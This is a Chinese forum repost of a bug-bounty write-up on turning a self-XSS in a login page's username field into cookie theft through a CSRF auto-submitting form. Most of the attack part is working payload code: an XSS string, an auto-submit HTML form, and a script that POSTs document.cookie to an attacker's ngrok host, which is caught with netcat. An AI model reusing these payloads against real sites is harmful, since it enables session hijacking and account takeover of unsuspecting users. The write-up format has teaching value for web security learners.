本帖最后由 ivi 于 2023-9-13 17:03 编辑
潇湘信安 2023-09-13 08:30 发表于湖南
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。 |
来源:Medium,作者:@Mostafa Elguerdawi
现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!
比方说:https: //reacted.com,当我在这个网站上进行测试时,有一个登录功能,像往常一样,我尝试使用响应操作、默认凭据和 SQL 注入来绕过登录。
但没有任何作用,我决定检查源代码,发现我刚才输入的用户名打印在 value 属性中。
我想过尝试XSS注入,所以我尝试在用户名中注入双引号(“),我发现没有对其进行过滤。
所以,我考虑注入'<',这也可能有效 确实,它起作用了!
因此,我尝试注入一个完整的有效载荷: - "> <svg/onload=alert("XSS")>
复制代码而且还成功了!
不幸的是,这是一个Self XSS 升级阶段 我运行了 BurpSuite 并在登录期间拦截了该请求。
从请求中,我注意到没有针对 CSRF 的保护,而这是登录功能所期望的。
我尝试使用 CSRF 将 Self XSS 升级为反射 XSS。
使用的有效负载:
- <html>
- <body>
- <form name='myForm' id='myForm' method="POST" action="https://reacted.com/authenticate">
- <input type="hidden" name="loginName" value="" ><svg/onmouseover=alert(1) ">
- <input type="hidden" name="loginPassword" value="test"/>
- <input name="loginForm" class="btn btn-success" type="submit" value="Log in"/>
- </form>
- <script>
- document.addEventListener('DOMContentLoaded', function(event) {
- document.createElement('form').submit.call(document.getElementById('myForm'));
- });
- </script>
- </body>
- <html>
复制代码
是的,它起作用了!
在ngrok的帮助下,我成功获取了任何人的cookie
我打开了两个终端选项卡,第一个: 第二个:
我在用户名中使用了这个有效负载 - " > <script>
- fetch(‘https://<ngrok-Domain>', { method: ‘POST’, mode: ‘no-cors’, body:document.cookie });
- </script> "
复制代码
" 是 html 中编码的双引号和空格
此有效负载检索用户的 cookie 并将其发送给我,在netcat(nc)的帮助下,我可以获得这些cookie。 最终有效负载:
- <html>
- <body>
- <form name='myForm' id='myForm' method="POST" action="https://reacted.com/authenticate">
- <input type="hidden" name="loginName" value="" > <script>
- fetch('https://<ngrok-host>', { method: 'POST', mode: 'no-cors', body:document.cookie });
- </script> ""/>
- <input type="hidden" name="loginPassword" value="test"/>
- <input name="loginForm" class="btn btn-success" type="submit" value="Log in"/>
- </form>
- <script>
- document.addEventListener('DOMContentLoaded', function(event) {
- document.createElement('form').submit.call(document.getElementById('myForm'));
- });
- </script>
- </body>
- <html>
复制代码
最后,我成功获得了cookie。
|